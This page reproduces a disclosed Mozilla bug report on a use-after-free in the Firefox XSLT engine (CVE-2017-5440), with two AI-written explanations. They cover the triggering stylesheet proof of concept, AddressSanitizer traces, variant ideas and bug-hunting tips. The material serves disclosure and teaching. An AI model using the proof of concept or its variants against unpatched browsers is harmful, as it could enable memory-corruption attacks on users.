Skip to content
Memory corruption Disclosed report Advanced CVE-2017-5440

UAF in txExecutionState destructor during XSLT processing

A use-after-free occurs in the txExecutionState destructor during XSLT processing when a variable is defined with a for-each loop and then used in a template. An attacker could potentially exploit this to cause a crash or execute arbitrary code.

Nicolas Grégoire Follow

Originally disclosed on Mozilla

  • Fixed in 46 days
  • Paid in 50 days
  • Disclosed after 46 days

Tested under xpcshell "JavaScript-C54.0a1"

[+] Relevant parts

xsl_str = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">' + ' <xsl:variable name="var_1">' + ' <xsl:for-each select="/">' + ' <xsl:value-of select="count()"/>' + ' </xsl:for-each>' + ' </xsl:variable>' + ' <xsl:template match="/">' + ' <xsl:value-of select="//*[1 = $var_1]"/>' + ' </xsl:template>' + '</xsl:stylesheet>'

[+] How to reproduce

$ ./poc_xslt_uaf_txExecutionState_dtor.js ==20312==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000060790 at pc 0x7ff772355740 bp 0x7ffd9f4ad0c0 sp 0x7ffd9f4ad0b8 READ of size 8 at 0x603000060790 thread T0 #0 0x7ff77235573f in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:98:5 #1 0x7ff77238e015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1 #2 0x7ff772393bdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12 ...

0x603000060790 is located 0 bytes inside of 24-byte region [0x603000060790,0x6030000607a8) freed by thread T0 here: #0 0x4b20db in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3 #1 0x7ff772363cdc in txLoopNodeSet::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txInstructions.cpp:477:9 #2 0x7ff7723c4aed in txXSLTProcessor::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49:14 #3 0x7ff77238dc18 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:676:14 #4 0x7ff772393bdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12 ...

previously allocated by thread T0 here: #0 0x4b23fb in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3 #1 0x4df2ad in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17 #2 0x7ff772355bdc in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12 #3 0x7ff772355bdc in txExecutionState::init(txXPathNode const&, txOwningExpandedNameMap<txIGlobalParameter>*) /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:110 #4 0x7ff77238dc01 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:672:19 #5 0x7ff772393bdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12 ...

The original report as published on Mozilla's Bugzilla, by Nicolas Grégoire. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

This report concerns Mozilla's XSLT engine, the component that implements XSLT transformations inside the browser core. The affected asset is listed as Core: XSLT, and the weakness is a use-after-free. The researcher is Nicolas Grégoire, and the report was disclosed on 23 March 2017 with a severity of high.

XSLT processing takes an XML document and a stylesheet and produces a result document. In Mozilla's implementation the transformation is driven by txMozillaXSLTProcessor::TransformToDoc, which sets up a txExecutionState and then runs the compiled stylesheet instructions through txXSLTProcessor::execute. The bug is that the execution state can be freed while the transformation is still running, and the destructor later touches the freed memory.

Setup

The researcher tested under xpcshell, reporting the build as "JavaScript-C54.0a1". The proof of concept is a JavaScript file, poc_xslt_uaf_txExecutionState_dtor.js, run directly from the shell:

Bash
$ ./poc_xslt_uaf_txExecutionState_dtor.js

The build was instrumented with AddressSanitizer, which is what turns the memory error into the detailed report reproduced below. No accounts, roles or network preconditions are involved: the trigger is a stylesheet processed locally.

Finding it

The relevant part of the proof of concept is the stylesheet itself. It declares a variable whose value is computed by a loop over the document, and then uses that variable inside a predicate in the main template:

Text
xsl_str = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">' +
          '  <xsl:variable name="var_1">' +
          '    <xsl:for-each select="/">' +
          '      <xsl:value-of select="count()"/>' +
          '    </xsl:for-each>' +
          '  </xsl:variable>' +
          '  <xsl:template match="/">' +
          '    <xsl:value-of select="//*[1 = $var_1]"/>' +
          '  </xsl:template>' +
          '</xsl:stylesheet>'

The structure that matters is the combination of an <xsl:for-each> inside a variable definition and a later reference to that variable ($var_1) from an XPath expression in the template. The loop is what releases the execution state, and the later reference is what causes the destructor to run against the released object.

Exploitation

Step 1: run the proof of concept under AddressSanitizer

The script is executed as shown above. AddressSanitizer reports a heap-use-after-free:

Text
==20312==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000060790 at pc 0x7ff772355740 bp 0x7ffd9f4ad0c0 sp 0x7ffd9f4ad0b8
READ of size 8 at 0x603000060790 thread T0
    #0 0x7ff77235573f in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:98:5
    #1 0x7ff77238e015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
    #2 0x7ff772393bdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    ...

The faulting access is an 8-byte read inside txExecutionState::~txExecutionState() at txExecutionState.cpp:98. The destructor is reached from txMozillaXSLTProcessor::TransformToDoc at line 701, which is called from TransformToDocument at line 645. In other words, the crash happens during teardown of the transformation, not during the loop itself.

Step 2: read the free stack

AddressSanitizer then shows where the memory was released:

Text
0x603000060790 is located 0 bytes inside of 24-byte region [0x603000060790,0x6030000607a8)
freed by thread T0 here:
    #0 0x4b20db in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7ff772363cdc in txLoopNodeSet::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txInstructions.cpp:477:9
    #2 0x7ff7723c4aed in txXSLTProcessor::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49:14
    #3 0x7ff77238dc18 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:676:14
    #4 0x7ff772393bdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
     ...

The freed region is 24 bytes. The release happens in txLoopNodeSet::execute at txInstructions.cpp:477, called from txXSLTProcessor::execute at txXSLTProcessor.cpp:49, which is itself called from TransformToDoc at line 676.

Step 3: read the allocation stack

The allocation stack confirms what the freed object was:

Text
previously allocated by thread T0 here:
    #0 0x4b23fb in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x4df2ad in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7ff772355bdc in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
    #3 0x7ff772355bdc in txExecutionState::init(txXPathNode const&, txOwningExpandedNameMap<txIGlobalParameter>*) /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:110
    #4 0x7ff77238dc01 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:672:19
    #5 0x7ff772393bdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    ...

The 24-byte region was allocated through moz_xmalloc and operator new in txExecutionState::init at txExecutionState.cpp:110, called from TransformToDoc at line 672.

Putting the three stacks together: TransformToDoc allocates the execution state at line 672, runs the stylesheet at line 676, the loop instruction frees the state at txInstructions.cpp:477, and when TransformToDoc reaches line 701 the destructor reads the already-freed state.

Root cause

The free stack shows the loop instruction (txLoopNodeSet::execute) releasing the memory that the destructor later reads. The destructor txExecutionState::~txExecutionState() then performs an 8-byte read from the freed 24-byte object. The stacks show a stylesheet that runs a loop inside a variable definition and then references that variable ends with the destructor reading freed memory. The report does not describe the exact ownership mechanism or the intended fix, so the precise design error beyond this is not stated.

Impact

AddressSanitizer classifies the fault as a heap-use-after-free with a read of size 8, and the platform rates the report as high severity. The report itself does not describe a path from this crash to code execution, nor does it state which products or user-facing entry points reach the vulnerable code. What it does show is that a crafted stylesheet causes the browser's XSLT engine to read freed memory during transformation, which is a memory-safety defect in core code.

Fix

The report does not say what change was made. Based on the stacks, the fix would need to ensure the txExecutionState is not freed by txLoopNodeSet::execute while TransformToDoc still owns it, for example by correcting the ownership so the state outlives the loop and is destroyed only once, at the end of the transformation.

Variants to test

  1. Move the <xsl:for-each> out of the variable and into the template body, keeping the later $var_1 reference. A positive result is the same AddressSanitizer heap-use-after-free in txExecutionState::~txExecutionState().
  2. Use other instructions that create nested execution contexts inside a variable, such as nested loops or calls to named templates. A positive result is a free stack through a different txInstructions.cpp function with the destructor still reading the state.
  3. Reference the variable from a different XPath construct, for example inside xsl:apply-templates select expressions or predicates with different comparison operators. A positive result is the same read in the destructor at txExecutionState.cpp:98.
  4. Vary the stylesheet version and namespace declarations while keeping the loop and variable structure. A positive result is the crash reproducing under the alternative declaration.

Hunting notes

This kind of bug tends to hide where an object has a lifetime longer than the instruction that frees it: loops, variable definitions and nested execution contexts in an interpreter or transformation engine are good places to look. During recon, the signal is a component that allocates a state object at the start of an operation and destroys it at the end, with intermediate instructions that can release resources. The report contains a stylesheet and an AddressSanitizer report with allocation, free and read stacks pointing at the same 24-byte region.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

Mozilla's browser contains an engine that can transform one kind of document into another using a set of rules called a stylesheet. This engine is called XSLT. A security researcher, Nicolas Grégoire, found that a carefully written stylesheet could make this engine use a piece of memory after it had already been given back, a mistake known as a use-after-free. The report was disclosed on 23 March 2017, the affected area is listed as Core: XSLT, and the severity is rated high.

To understand the bug you only need one idea: programs borrow memory from the operating system, use it, and then hand it back. If a program hands memory back and then keeps reading from it, anything could be there, including data an attacker controls. That is the whole family of use-after-free bugs, and this report is one example of it.

Context

XSLT is a language for describing transformations. You give it two things: an XML document (structured text made of tags, like a family tree of elements) and a stylesheet (a set of instructions saying what to pick out of the document and how to arrange the result). The engine reads both and produces a new document.

In Mozilla's code the transformation is driven by a function called txMozillaXSLTProcessor::TransformToDoc. Think of a function as a named block of instructions inside the program. This one sets up a bookkeeping object called txExecutionState, which tracks where the transformation currently is, then runs the compiled stylesheet instructions through another function, txXSLTProcessor::execute.

The bug is a lifetime problem. The bookkeeping object can be released while the transformation is still running, and later, when the transformation finishes and the object is cleaned up, the cleanup code touches memory that is no longer owned by the program.

Setup

The researcher tested under xpcshell, a command-line shell that lets you run JavaScript against Mozilla's engine without opening a browser window. The build is reported as "JavaScript-C54.0a1". The proof of concept is a JavaScript file named poc_xslt_uaf_txExecutionState_dtor.js, run directly from the shell:

Bash
$ ./poc_xslt_uaf_txExecutionState_dtor.js

The $ is the shell prompt, the text after it is the command, and ./ means "run the file in the current folder". The build was instrumented with AddressSanitizer, a tool that watches every memory allocation and release and shouts when a program touches memory it should not. That tool is what turns the memory error into the detailed report shown below. No accounts, roles or network preconditions are involved: the trigger is a stylesheet processed locally, on the machine itself.

Finding it

The relevant part of the proof of concept is the stylesheet itself. It declares a variable whose value is computed by a loop over the document, and then uses that variable inside a condition in the main template:

Text
xsl_str = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">' +
          '  <xsl:variable name="var_1">' +
          '    <xsl:for-each select="/">' +
          '      <xsl:value-of select="count()"/>' +
          '    </xsl:for-each>' +
          '  </xsl:variable>' +
          '  <xsl:template match="/">' +
          '    <xsl:value-of select="//*[1 = $var_1]"/>' +
          '  </xsl:template>' +
          '</xsl:stylesheet>'

Line by line, in plain words:

  1. xsl_str = ... stores the stylesheet as text in a JavaScript variable, so the script can hand it to the engine later. The + signs glue the pieces of text together.
  2. <xsl:stylesheet ... version="1.0"> opens the stylesheet and says which version of the XSLT language it uses. The xmlns:xsl part declares the namespace, which is just the official address that tells the engine "these xsl: tags are XSLT instructions".
  3. <xsl:variable name="var_1"> starts a variable, a named storage slot. Everything between its opening and closing tag is the value that gets stored.
  4. <xsl:for-each select="/"> is a loop. The select="/" means "start at the root of the document", so this loop walks over the document's top level.
  5. <xsl:value-of select="count()"/> asks for a number: how many items the loop is currently looking at. That number becomes part of the variable's value.
  6. </xsl:for-each> and </xsl:variable> close the loop and the variable.
  7. <xsl:template match="/"> defines the main template, the set of instructions that runs when the transformation starts at the document root.
  8. <xsl:value-of select="//*[1 = $var_1]"/> is the interesting line. //* means "every element anywhere in the document", and the part in square brackets is a filter, a condition each element must satisfy. The condition is 1 = $var_1, which compares the number 1 with the value stored in the variable. This is the later reference to the variable.
  9. </xsl:template> and </xsl:stylesheet> close the template and the stylesheet.

The structure that matters is the combination of an <xsl:for-each> inside a variable definition and a later reference to that variable ($var_1) from an XPath expression in the template. XPath is the little query language used inside select attributes to pick parts of a document. The loop is what releases the execution state, and the later reference is what causes the cleanup code to run against the released object.

Exploitation

Step 1: run the proof of concept under AddressSanitizer

The script is executed as shown above. AddressSanitizer reports a heap-use-after-free. "Heap" is the general-purpose pool of memory a program borrows from for objects it creates while running:

Text
==20312==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000060790 at pc 0x7ff772355740 bp 0x7ffd9f4ad0c0 sp 0x7ffd9f4ad0b8
READ of size 8 at 0x603000060790 thread T0
    #0 0x7ff77235573f in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:98:5
    #1 0x7ff77238e015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
    #2 0x7ff772393bdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    ...

Reading this block:

  1. The first line is the alarm. heap-use-after-free is the verdict, and the long number after on address is the memory location involved. pc, bp and sp are processor registers, tiny storage slots inside the CPU that record where the program was executing; you do not need them to follow the story.
  2. READ of size 8 says the program tried to read 8 bytes from that location. thread T0 says it happened on the program's first thread, its main line of execution.
  3. The numbered lines starting with #0 are a stack trace, a list of function calls from the innermost to the outermost, like a set of nested boxes. #0 is where the fault happened: inside txExecutionState::~txExecutionState(). The ~ in front of a name marks a destructor, the special function that runs when an object is being cleaned up.
  4. #1 is the function that called it, txMozillaXSLTProcessor::TransformToDoc, and #2 is the function that called that one, TransformToDocument. The file paths and line numbers after each name point at the exact source line.

The faulting access is an 8-byte read inside txExecutionState::~txExecutionState() at txExecutionState.cpp:98. The destructor is reached from txMozillaXSLTProcessor::TransformToDoc at line 701, which is called from TransformToDocument at line 645. In other words, the crash happens during teardown of the transformation, not during the loop itself.

Step 2: read the free stack

AddressSanitizer then shows where the memory was released:

Text
0x603000060790 is located 0 bytes inside of 24-byte region [0x603000060790,0x6030000607a8)
freed by thread T0 here:
    #0 0x4b20db in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7ff772363cdc in txLoopNodeSet::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txInstructions.cpp:477:9
    #2 0x7ff7723c4aed in txXSLTProcessor::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49:14
    #3 0x7ff77238dc18 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:676:14
    #4 0x7ff772393bdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
     ...

Reading this block:

  1. The first line says the address belongs to a region of 24 bytes, and that the faulting address sits 0 bytes inside it, meaning right at its start. The two numbers in square brackets are the region's start and end.
  2. freed by thread T0 here introduces a second stack trace, this time for the moment the memory was handed back. free is the standard function that returns memory to the pool.
  3. #1 is the interesting frame: txLoopNodeSet::execute, the code that runs a loop instruction. #2 is txXSLTProcessor::execute, which runs the stylesheet, and #3 is TransformToDoc at line 676.

The freed region is 24 bytes. The release happens in txLoopNodeSet::execute at txInstructions.cpp:477, called from txXSLTProcessor::execute at txXSLTProcessor.cpp:49, which is itself called from TransformToDoc at line 676.

Step 3: read the allocation stack

The allocation stack confirms what the freed object was:

Text
previously allocated by thread T0 here:
    #0 0x4b23fb in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x4df2ad in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7ff772355bdc in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
    #3 0x7ff772355bdc in txExecutionState::init(txXPathNode const&, txOwningExpandedNameMap<txIGlobalParameter>*) /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:110
    #4 0x7ff77238dc01 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:672:19
    #5 0x7ff772393bdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    ...

Reading this block:

  1. previously allocated by thread T0 here introduces a third stack trace, for the moment the memory was first borrowed.
  2. #0 is __interceptor_malloc, AddressSanitizer's wrapper around the standard memory allocation function, which is how the tool notices every allocation.
  3. #1 is moz_xmalloc, Mozilla's own allocation helper, and #2 is operator new, the C++ operator that creates objects.
  4. #3 is txExecutionState::init, the function that sets up the execution state, at txExecutionState.cpp:110. #4 is TransformToDoc at line 672.

The 24-byte region was allocated through moz_xmalloc and operator new in txExecutionState::init at txExecutionState.cpp:110, called from TransformToDoc at line 672.

Putting the three stacks together: TransformToDoc allocates the execution state at line 672, runs the stylesheet at line 676, the loop instruction frees the state at txInstructions.cpp:477, and when TransformToDoc reaches line 701 the destructor reads the already-freed state. Three traces, one object, one story.

Root cause

The free stack shows the loop instruction (txLoopNodeSet::execute) releasing the memory that the destructor later reads. The destructor txExecutionState::~txExecutionState() then performs an 8-byte read from the freed 24-byte object. The stacks show a stylesheet that runs a loop inside a variable definition and then references that variable ends with the destructor reading freed memory. The report does not describe the exact ownership mechanism or the intended fix, so the precise design error beyond this is not stated.

Impact

AddressSanitizer classifies the fault as a heap-use-after-free with a read of size 8, and the platform rates the report as high severity. The report itself does not describe a path from this crash to code execution, nor does it state which products or user-facing entry points reach the vulnerable code. What it does show is that a crafted stylesheet causes the browser's XSLT engine to read freed memory during transformation, which is a memory-safety defect in core code.

Fix

The report does not say what change was made. Based on the stacks, the fix would need to ensure the txExecutionState is not freed by txLoopNodeSet::execute while TransformToDoc still owns it, for example by correcting the ownership so the state outlives the loop and is destroyed only once, at the end of the transformation.

Variants to test

  1. Move the <xsl:for-each> out of the variable and into the template body, keeping the later $var_1 reference. A positive result is the same AddressSanitizer heap-use-after-free in txExecutionState::~txExecutionState().
  2. Use other instructions that create nested execution contexts inside a variable, such as nested loops or calls to named templates. A positive result is a free stack through a different txInstructions.cpp function with the destructor still reading the state.
  3. Reference the variable from a different XPath construct, for example inside xsl:apply-templates select expressions or predicates with different comparison operators. A positive result is the same read in the destructor at txExecutionState.cpp:98.
  4. Vary the stylesheet version and namespace declarations while keeping the loop and variable structure. A positive result is the crash reproducing under the alternative declaration.

Hunting notes

This kind of bug tends to hide where an object has a lifetime longer than the instruction that frees it: loops, variable definitions and nested execution contexts in an interpreter or transformation engine are good places to look. During recon, the signal is a component that allocates a state object at the start of an operation and destroys it at the end, with intermediate instructions that can release resources. The report contains a stylesheet and an AddressSanitizer report with allocation, free and read stacks pointing at the same 24-byte region.

Glossary

  • AddressSanitizer: a debugging tool built into a program that watches memory allocations and releases and reports when memory is used incorrectly.
  • Allocation: the act of borrowing a block of memory from the system so a program can store something in it.
  • Destructor: the special function that runs when an object is being cleaned up; in C++ its name starts with ~.
  • Dangling pointer: a pointer that still refers to a memory location that has already been freed.
  • Free: to hand a block of memory back to the system so it can be reused.
  • Heap: the general-purpose pool of memory a program borrows from for objects it creates while running.
  • Heap-use-after-free: a bug where a program reads or writes memory on the heap after it has been freed.
  • Namespace: a label that groups names so different languages can share a document without clashing; here it identifies the official XSLT tags.
  • Proof of concept (PoC): a small script or file that demonstrates a bug reliably.
  • Register: a tiny storage slot inside the CPU that holds a value the program is currently working with.
  • Severity: a rating of how serious a bug is, here high.
  • Stack trace: a list of function calls from the innermost to the outermost, showing how the program reached a particular point.
  • Thread: one line of execution inside a program; T0 is the main one.
  • Use-after-free: the general name for bugs where memory is used after it has been released.
  • Variable: a named storage slot in a program or stylesheet that holds a value.
  • XML: a way of writing structured text using tags, like a family tree of elements.
  • XPath: a small query language used inside XSLT to select parts of a document.
  • xpcshell: a command-line shell that runs JavaScript against Mozilla's engine without a browser window.
  • XSLT: a language for transforming an XML document into another document using a stylesheet.
  • Stylesheet: the set of XSLT instructions that says what to pick out of a document and how to arrange the result.
  • Template: a block of XSLT instructions that runs when a matching part of the document is reached.

More by Nicolas Grégoire

View all

5 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.